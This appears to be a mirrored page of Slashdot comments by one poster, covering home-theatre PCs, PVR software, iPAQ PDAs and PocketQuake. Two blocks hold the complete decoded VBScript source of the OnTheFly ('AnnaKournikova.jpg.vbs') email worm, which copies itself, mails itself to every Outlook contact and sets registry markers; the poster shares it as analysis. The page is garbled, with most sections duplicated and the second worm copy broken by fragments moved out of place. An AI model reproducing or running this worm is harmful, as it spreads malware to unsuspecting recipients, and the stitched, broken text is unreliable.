The interesting part is that the Sony PVR will probably have HW to assist to encode the video, so you can get better results than you can using SnapStream (even if you use a P4 1.7 with SSE2 optimized drivers). It most likely is using MPEG-2, capturing at full resolution, w/o dropping any frames...
As with all other similar solutions (ShowShifter, Telemman HiPix, Hauppage WinTV PVR & HD, AccessDTV, etc), what will make or break this product is the level of integration, and the quality of the SW. So far, the integration with existing A/V equipment has been rather poor. The Destination had to use expensive Computer-IR out transceivers to control your cable/satellite box and VCR, plus the input remote (and I think they never got the SW quite right), and most solutions right now don't offer any kind of IR control integration.
Currently, SnapStream is working on adding more support for this type of integration. John Vanderbeck is leading an Open Source project (IRTuner) to support multiple IR out transcievers. He has written a driver to use the ActiSys 200L (~$65) from SnapStream. He is working on adding support for the RedRat2, and future candidates are the CiR and LIRC. We are also looking into integrating with Girder, making the interface available to other applications beside SnapStream, and adding more functionality and in general, making it easier to turn your PC into a real A/V integration tool...
Some of the functions can be done, but unfortunately, most depend on using each HW manufacturer's API/SW, and most only work under Windows.
The best place I've found for information on the current state of this "Borg PC" is the AVSForum HTPC board. Some of the forum members have customized their PCs to a degree that comes pretty close. They aren't an every user, dumb down PC, but some come pretty close at being user friendly... The problem remains being the cost. The Gateway Destination came pretty close to bringing it all togheter, but it was underpowered, and very few people would pay for it (so it was discontinued)...
Some manufacturers are starting to come around and to provide automation features, that enable some customization (like ATI, which now has an API for remotes). Girder seems to be a great hub for programmability features, where several Open Source projects converge in controlling the HTPC.
A few general comments:
* 560 GB of storage is almost affordable for personal use. Just use 8 80 GB HD with a RAID 5 controller (like the 3Ware 6800). It'd cost ~$2300, which isn't cheap, but you'd have plenty of storage, and you even get some redundancy...
* UltimateTV and the XBox are going this way. The XBox will be HDTV compatible, and future generations might include a HDTV tuner. And then using USB you might get additional funcitonality. A merging of UTB and XBox might also be possible. Probably the biggest objection would be that this is a MS solution...
* There at at least 3 HDTV PC Tuner cards available (Telemann HiPix, Hauppage WinTV-HD, and AccessDTV). All the manufacturers are working into building digital PVR functions into their products, which will make HDTV tuners a Tivo alternative (at least for OTA broadcasts).
* SnapStream is working to provide PVR features on your PC (there was another, but I don't have a name handy), and the company is very open to user feedback and open source development (as the IRTuner Project shows).
* Don't forget PDA's and mobile multimedia devices. As more multimedia is available, the box will make it accesible on the go, so you can take movies with you when you commute, or access music from anywhere in your house (using 802.11b) w/o requiring a PC or a full blown device, just your PDA. SnapStream recognizes the potential of PDAs, and is offering PocketPVS so you can transcode video and play it back on your PPC.
HDTV might be the catalyst that pushes the HTPC out of obscurity, and that creates the borg box. With every US household having to replace their TV in the next few years, more will start to consider cheap HDTV PC Tuners, using existing big screen displays and/or large screen Monitors (and VGA compatible TVs).
You figured it out. It adds the registry entry to know if the system has been infected before, then e-mails itself to everybody in your address list. If it is Jan 26th, it opens that web page. Yes, it's weird that it tries to open that web page in the past, but who knows (maybe the author released it in the wild back then, and only now hit corporate servers).
McAfee seems to detect it (I'm not sure if by heuristics or if it has the signature), but Norton AntiVirus doesn't detect it...
What's interesting is how it decodes itself from the string. I kind of remember a couple VBS virus doing that earlier.
It could be much worse. Many of these script viruses could be enhanced so the vbs extension doesn't show, and to use a variable encoding keys, which would make it harder to create signatures.
I don't have costs on viruses out there> I thought it might be interesting looking at the source code of the OnTheFly virus, which was unleashed on us this morning. This is the code after the virus decodes it from a string
<BLOCKQUOTE>
'Vbs.OnTheFly Created By OnTheFly
On Error Resume Next
Set E7O3tH65p4P = CreateObject("WScript.Shell")
E7O3tH65p4P.regwrite "HKCU\software\OnTheFly\", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98)
Set rOwamTjngb5= Createobject("scripting.filesystemobject")
rOwamTjngb5.copyfile wscript.scriptfullname,rOwamTjngb5.GetSpecialFolde r(0)& "\AnnaKournikova.jpg.vbs"
if E7O3tH65p4P.regread ("HKCU\software\OnTheFly\mailed") <> "1" then
e2nSA7HlgLC()
end if
if month(now) =1 and day(now) =26 then
E7O3tH65p4P.run "Http://www.dynabyte.nl",3,false
end if
Set JKgSwHK773x= rOwamTjngb5.opentextfile(wscript.scriptfullname, 1)
ZN5JKZ4xiuV= JKgSwHK773x.readall
JKgSwHK773x.Close
Do
If Not (rOwamTjngb5.fileexists(wscript.scriptfullname)) Then
Set UeI22z8P4v0= rOwamTjngb5.createtextfile(wscript.scriptfullname, True)
UeI22z8P4v0.writeZN5JKZ4xiuV
UeI22z8P4v0.Close
End If
Loop
Function e2nSA7HlgLC()
On Error Resume Next
Set D23OvxM6KRH = CreateObject("Outlook.Application")
If D23OvxM6KRH= "Outlook"Then
Set j25tNZB9f8l=D23OvxM6KRH.GetNameSpace("MAPI")
Set S6k211ge33L= j25tNZB9f8l.AddressLists
For Each JR2mPsM2BmR In S6k211ge33L
If JR2mPsM2BmR.AddressEntries.Count <> 0 Then
d4BD3xgwv1J = JR2mPsM2BmR.AddressEntries.Count
For X789Va3zRez= 1 To d4BD3xgwv1J
Set iq72b483v3Z = D23OvxM6KRH.CreateItem(0)
Set OIE4BVYjOJ8 = JR2mPsM2BmR.AddressEntries(X789Va3zRez)
iq72b483v3Z.To = OIE4BVYjOJ8.Address
iq72b483v3Z.Subject = "Here you have,;o)"
iq72b483v3Z.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
set fWsnq8YG9f1=iq72b483v3Z.Attachments
fWsnq8YG9f1.Add rOwamTjngb5.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs"
iq72b483v3Z.DeleteAfterSubmit = True
If iq72b483v3Z.To <> "" Then
iq72b483v3Z.Send
E7O3tH65p4P.regwrite "HKCU\software\OnTheFly\mailed", "1"
End If
Next
End If
Next
end if
End Function
'Vbswg 1.50b
</BLOCKQUOTE>
Yeah the multi-button issue is a problem with the iPAQ. However, developers are getting creative working around it. And with the attention the iPAQ is getting, Compaq should be planning to address this issues in one of the upcoming models.
PocketNES is the first game to do a good job with on screen controls. Jimmy's J-Five does an even better job, since you can use the stylus for movement, speed, and weapon selection, and the buttons for firing.
PocketQuake is being worked on so it supports the stylus for movement (mlook). The new version with this might be available on Monday, or later this week. Once mlook is implemented, you'd have most Quake movement functionality implemented (just combine it with clever use of the existing buttons). Also, you should be able to use the upcoming iPAQ ThinkOutside and GoType keyboards for the iPAQ (neither is currently available for the iPAQ, but iPAQ compatible versions of each are expected soon).
(Per the developer, Dan East) Monday's release will first address running it from a storage card (right now you can only do that with a patch), and allowing for task switching (right now it doesn't play nice with the CPU and doesn't allow switching to other apps). It might have the mlook feature available by then.
And once it has more speed improvements, it'll be very playable. And then think about enabling the multi-player features with the upcoming 400 Mhz iPAQ (maybe by September). A quick IR game of PocketQuake sound quite possible (not to mention using Wireless Ethernet or Ricochet Wireless 128 Kbps).
And when Palm comes out with their StrongArm Palms, it might be possible to do a port to the platform. But that might take one or two years...
I also love my eHolster. Since it's too warm here, I wear it just over my shirt. Most people need a little time, but they end up accepting it and even liking it. Yes, it attracts more attention that I'd like, but it works. If the weather was colder, a jacket would solve this... I'm planning to get Ricochet and carry the modem in a holster and connect my iPAQ to it, so I'd be connected all the time. Also, I helps to guide/keep in place the headphone wires...
I think the Compaq iPAQ comes pretty close to your specs. If the planned cell phone expansion sleeve comes to pass (there were some rumors that Sprint was working with Compaq on this), you might get your pre-BlueTooth cell phone PDA by Christmas...
Form Factor.- The iPaq by itself is about the same size as the Palm IIIc. However, the phone sleeve would make it bigger, so it'd barely fit the form factor spec (however, note that you get a color device and HW that, OS aside, is better than current Palm devices). To use the sleeve you'd have to use headphones, which answers some of the concerns about an integrated phone/PDA (and some people won't want to carry headphones).
OS.- It doesn't run Palm OS, it is CE. However, note that the multitasking (and app protection) capabilities really help a convergence device. Palm OS has a long way to go. Also, you can upgrade the iPAQ's flash ROM, so eventually you might even run Linux, when you fell the PDA version is mature (www.Handheld.org has been discussed before).
CE might have a lot of emotional baggage, but IMO is the only OS that could do this at this time (maybe PSION, from what I've read, but Palm OS doesn't have a chance).
Encrypted Wallet App.- There are several CE options.
WAP browser.- There is a WAP browser for CE plus, with the speed of the iPAQ, you can actually use Pocket IE to browse the Internet (or synch AvantGo content), so you don't need much rework on existing sites. A PDA friendly HTML version helps, but a rewrite might not be needed.
Wireless antenna.- Included with the cell phone sleeve.
Audio jack.- Like all other CE devices, it has multimedia, so you have digital audio. The iPAQ sleeve really allow you to play MP3/WMA music while you do something else (like take notes or browse the internet)
Dedicated storage expansion slot.- Some feel that the iPAQ's 32 MB is enough, at least for contact and some multimedia. It isn't clear if Compaq will include a CF or MMC slot on the phone sleeve (if any storage at all).
IR Port.- Included. And with Peacemaker you can beam contacts to Palm devices
Standard integrated pager.- Again, no details, but if it's a PCS cell phone sleeve, I'd expect it to have some paging capabilities.
I think Sony is paying attention, but their choice of using Palm OS (no multimedia, no multithreading), and the fact they're trying to target a specific audience (Palm V users who want color) for their first device, would prevent them to deliver this device (at least, not by Christmas this year, maybe next year with the StrongArm Palm OS).
Another option that goes with the iPAQ is Ricochet 128 (or other high speed mobile Internet access provider), albeit the coverage area is smaller. Using the iPAQ PC Card sleeve, you can use the Merlin Ricochet PC Card (which might be smaller than the cell phone sleeve) and you could do VoIP (there is an application for that). And using the planned video sleeve with a serial Ricochet modem (a separate device, which defeats the purpose of convergence), you could even use your iPAQ as a portable video phone (still a bit experimental, but some development is being done on streaming video with CE)...
Another advantage of the iPAQ is that when BlueTooth becomes prevalent (in the next 2 years), in theory you'll just need to get a BT sleeve, so you PDA will remain the same and still control your other devices (assuming Compaq releases such a sleeve and that MS adds BT support to the OS). Also, future version of the iPAQ will have a faster CPU and more memory, and maybe a dedicated storage slot (MMC?), and will likely use the same sleeve system...
It isn't perfect, but it takes from what is available today and IMO it's the best integrated solution candidate you're going to see this year (and maybe until next summer).
Slashdot Mirror
As with all other similar solutions (ShowShifter, Telemman HiPix, Hauppage WinTV PVR & HD, AccessDTV, etc), what will make or break this product is the level of integration, and the quality of the SW. So far, the integration with existing A/V equipment has been rather poor. The Destination had to use expensive Computer-IR out transceivers to control your cable/satellite box and VCR, plus the input remote (and I think they never got the SW quite right), and most solutions right now don't offer any kind of IR control integration.
Currently, SnapStream is working on adding more support for this type of integration. John Vanderbeck is leading an Open Source project (IRTuner) to support multiple IR out transcievers. He has written a driver to use the ActiSys 200L (~$65) from SnapStream. He is working on adding support for the RedRat2, and future candidates are the CiR and LIRC. We are also looking into integrating with Girder, making the interface available to other applications beside SnapStream, and adding more functionality and in general, making it easier to turn your PC into a real A/V integration tool...
The best place I've found for information on the current state of this "Borg PC" is the AVSForum HTPC board. Some of the forum members have customized their PCs to a degree that comes pretty close. They aren't an every user, dumb down PC, but some come pretty close at being user friendly... The problem remains being the cost. The Gateway Destination came pretty close to bringing it all togheter, but it was underpowered, and very few people would pay for it (so it was discontinued)...
Some manufacturers are starting to come around and to provide automation features, that enable some customization (like ATI, which now has an API for remotes). Girder seems to be a great hub for programmability features, where several Open Source projects converge in controlling the HTPC.
A few general comments: * 560 GB of storage is almost affordable for personal use. Just use 8 80 GB HD with a RAID 5 controller (like the 3Ware 6800). It'd cost ~$2300, which isn't cheap, but you'd have plenty of storage, and you even get some redundancy...
* UltimateTV and the XBox are going this way. The XBox will be HDTV compatible, and future generations might include a HDTV tuner. And then using USB you might get additional funcitonality. A merging of UTB and XBox might also be possible. Probably the biggest objection would be that this is a MS solution...
* There at at least 3 HDTV PC Tuner cards available (Telemann HiPix, Hauppage WinTV-HD, and AccessDTV). All the manufacturers are working into building digital PVR functions into their products, which will make HDTV tuners a Tivo alternative (at least for OTA broadcasts).
* SnapStream is working to provide PVR features on your PC (there was another, but I don't have a name handy), and the company is very open to user feedback and open source development (as the IRTuner Project shows).
* Don't forget PDA's and mobile multimedia devices. As more multimedia is available, the box will make it accesible on the go, so you can take movies with you when you commute, or access music from anywhere in your house (using 802.11b) w/o requiring a PC or a full blown device, just your PDA. SnapStream recognizes the potential of PDAs, and is offering PocketPVS so you can transcode video and play it back on your PPC.
HDTV might be the catalyst that pushes the HTPC out of obscurity, and that creates the borg box. With every US household having to replace their TV in the next few years, more will start to consider cheap HDTV PC Tuners, using existing big screen displays and/or large screen Monitors (and VGA compatible TVs).
Indeed, the original source is something like
'Vbs.OnTheFly Created By OnTheFly
Execute e7iqom5JE4z("encoded code")
Function e7iqom5JE4z(hFeiuKrcoj3)
' Code to decode the string and return it
End Function
It is rather simple, but effective... I modified the script so It would write the decoded string in the original post into a file...
You figured it out. It adds the registry entry to know if the system has been infected before, then e-mails itself to everybody in your address list. If it is Jan 26th, it opens that web page. Yes, it's weird that it tries to open that web page in the past, but who knows (maybe the author released it in the wild back then, and only now hit corporate servers).
McAfee seems to detect it (I'm not sure if by heuristics or if it has the signature), but Norton AntiVirus doesn't detect it...
What's interesting is how it decodes itself from the string. I kind of remember a couple VBS virus doing that earlier.
It could be much worse. Many of these script viruses could be enhanced so the vbs extension doesn't show, and to use a variable encoding keys, which would make it harder to create signatures.
I don't have costs on viruses out there> I thought it might be interesting looking at the source code of the OnTheFly virus, which was unleashed on us this morning. This is the code after the virus decodes it from a string
e r(0)& "\AnnaKournikova.jpg.vbs"
, True)
;o)"
<BLOCKQUOTE>
'Vbs.OnTheFly Created By OnTheFly
On Error Resume Next
Set E7O3tH65p4P = CreateObject("WScript.Shell")
E7O3tH65p4P.regwrite "HKCU\software\OnTheFly\", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98)
Set rOwamTjngb5= Createobject("scripting.filesystemobject")
rOwamTjngb5.copyfile wscript.scriptfullname,rOwamTjngb5.GetSpecialFold
if E7O3tH65p4P.regread ("HKCU\software\OnTheFly\mailed") <> "1" then
e2nSA7HlgLC()
end if
if month(now) =1 and day(now) =26 then
E7O3tH65p4P.run "Http://www.dynabyte.nl",3,false
end if
Set JKgSwHK773x= rOwamTjngb5.opentextfile(wscript.scriptfullname, 1)
ZN5JKZ4xiuV= JKgSwHK773x.readall
JKgSwHK773x.Close
Do
If Not (rOwamTjngb5.fileexists(wscript.scriptfullname)) Then
Set UeI22z8P4v0= rOwamTjngb5.createtextfile(wscript.scriptfullname
UeI22z8P4v0.writeZN5JKZ4xiuV
UeI22z8P4v0.Close
End If
Loop
Function e2nSA7HlgLC()
On Error Resume Next
Set D23OvxM6KRH = CreateObject("Outlook.Application")
If D23OvxM6KRH= "Outlook"Then
Set j25tNZB9f8l=D23OvxM6KRH.GetNameSpace("MAPI")
Set S6k211ge33L= j25tNZB9f8l.AddressLists
For Each JR2mPsM2BmR In S6k211ge33L
If JR2mPsM2BmR.AddressEntries.Count <> 0 Then
d4BD3xgwv1J = JR2mPsM2BmR.AddressEntries.Count
For X789Va3zRez= 1 To d4BD3xgwv1J
Set iq72b483v3Z = D23OvxM6KRH.CreateItem(0)
Set OIE4BVYjOJ8 = JR2mPsM2BmR.AddressEntries(X789Va3zRez)
iq72b483v3Z.To = OIE4BVYjOJ8.Address
iq72b483v3Z.Subject = "Here you have,
iq72b483v3Z.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
set fWsnq8YG9f1=iq72b483v3Z.Attachments
fWsnq8YG9f1.Add rOwamTjngb5.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs"
iq72b483v3Z.DeleteAfterSubmit = True
If iq72b483v3Z.To <> "" Then
iq72b483v3Z.Send
E7O3tH65p4P.regwrite "HKCU\software\OnTheFly\mailed", "1"
End If
Next
End If
Next
end if
End Function
'Vbswg 1.50b
</BLOCKQUOTE>
PocketNES is the first game to do a good job with on screen controls. Jimmy's J-Five does an even better job, since you can use the stylus for movement, speed, and weapon selection, and the buttons for firing.
PocketQuake is being worked on so it supports the stylus for movement (mlook). The new version with this might be available on Monday, or later this week. Once mlook is implemented, you'd have most Quake movement functionality implemented (just combine it with clever use of the existing buttons). Also, you should be able to use the upcoming iPAQ ThinkOutside and GoType keyboards for the iPAQ (neither is currently available for the iPAQ, but iPAQ compatible versions of each are expected soon).
(Per the developer, Dan East) Monday's release will first address running it from a storage card (right now you can only do that with a patch), and allowing for task switching (right now it doesn't play nice with the CPU and doesn't allow switching to other apps). It might have the mlook feature available by then.
And once it has more speed improvements, it'll be very playable. And then think about enabling the multi-player features with the upcoming 400 Mhz iPAQ (maybe by September). A quick IR game of PocketQuake sound quite possible (not to mention using Wireless Ethernet or Ricochet Wireless 128 Kbps).
And when Palm comes out with their StrongArm Palms, it might be possible to do a port to the platform. But that might take one or two years...
I also love my eHolster. Since it's too warm here, I wear it just over my shirt. Most people need a little time, but they end up accepting it and even liking it. Yes, it attracts more attention that I'd like, but it works. If the weather was colder, a jacket would solve this... I'm planning to get Ricochet and carry the modem in a holster and connect my iPAQ to it, so I'd be connected all the time. Also, I helps to guide/keep in place the headphone wires...
I think Sony is paying attention, but their choice of using Palm OS (no multimedia, no multithreading), and the fact they're trying to target a specific audience (Palm V users who want color) for their first device, would prevent them to deliver this device (at least, not by Christmas this year, maybe next year with the StrongArm Palm OS).
Another option that goes with the iPAQ is Ricochet 128 (or other high speed mobile Internet access provider), albeit the coverage area is smaller. Using the iPAQ PC Card sleeve, you can use the Merlin Ricochet PC Card (which might be smaller than the cell phone sleeve) and you could do VoIP (there is an application for that). And using the planned video sleeve with a serial Ricochet modem (a separate device, which defeats the purpose of convergence), you could even use your iPAQ as a portable video phone (still a bit experimental, but some development is being done on streaming video with CE)...
Another advantage of the iPAQ is that when BlueTooth becomes prevalent (in the next 2 years), in theory you'll just need to get a BT sleeve, so you PDA will remain the same and still control your other devices (assuming Compaq releases such a sleeve and that MS adds BT support to the OS). Also, future version of the iPAQ will have a faster CPU and more memory, and maybe a dedicated storage slot (MMC?), and will likely use the same sleeve system...
It isn't perfect, but it takes from what is available today and IMO it's the best integrated solution candidate you're going to see this year (and maybe until next summer).
Check your Acrobat Exchange CD. Theres is a MS Index Server filter to add PDF support to IIS.